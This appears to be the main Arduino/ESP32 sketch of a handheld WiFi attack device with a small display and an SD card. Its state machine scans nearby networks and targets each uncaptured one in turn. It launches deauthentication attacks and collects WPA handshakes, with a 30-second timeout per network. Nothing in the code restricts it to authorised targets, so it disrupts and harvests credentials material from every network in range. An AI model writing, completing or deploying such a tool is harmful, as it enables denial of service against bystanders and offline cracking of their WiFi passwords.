#include "Display_ST7789.h"
#include "LVGL_Driver.h"
#include "WiFi_Scanner.h"
#include "SD_Card.h"
#include "HandshakeCapture.h"

// State machine for automatic capture
enum CaptureState {
  STATE_IDLE,
  STATE_SCANNING,
  STATE_CAPTURING,
  STATE_WAITING
};

CaptureState captureState = STATE_IDLE;
int current_target_index = -1;
unsigned long capture_start_time = 0;
const unsigned long CAPTURE_TIMEOUT_MS = 30000; // 30 seconds per network

void setup()
{
  LCD_Init();
  Lvgl_Init();
  SD_Init();
  WiFiScanner_Init();
  handshakeCaptureInit();
  
  // Perform initial scan
  WiFiScanner_Refresh();
  captureState = STATE_SCANNING;
}

void loop()
{
  Timer_Loop();
  handshakeCaptureLoop(); // handle periodic deauth
  
  switch (captureState) {
    case STATE_SCANNING:
      // Find first uncaptured network
      current_target_index = -1;
      for (int i = 0; i < 20; i++) {
        if (networks[i].ssid.isEmpty()) break;
        if (!networks[i].handshake_captured) {
          current_target_index = i;
          break;
        }
      }
      if (current_target_index >= 0) {
        setTarget(current_target_index);
        captureState = STATE_CAPTURING;
        capture_start_time = millis();
        startCapture(true); // with deauth
        Ui_SetWifiStatus("Capturing...");
      } else {
        // All networks captured
        Ui_SetWifiStatus("All captured");
        captureState = STATE_IDLE;
      }
      break;

    case STATE_CAPTURING:
      // Check if handshake captured
      if (isHandshakeCaptured(current_target_index)) {
        // Success
        Ui_SetWifiStatus("Handshake captured");
        stopCapture();
        captureState = STATE_SCANNING;
        // Wait a bit before moving to next
        delay(2000);
      } else if (millis() - capture_start_time > CAPTURE_TIMEOUT_MS) {
        // Timeout
        Ui_SetWifiStatus("Capture timeout");
        stopCapture();
        captureState = STATE_SCANNING;
        delay(2000);
      }
      break;

    case STATE_IDLE:
      // Do nothing, maybe blink LED
      break;
  }

  delay(16);
}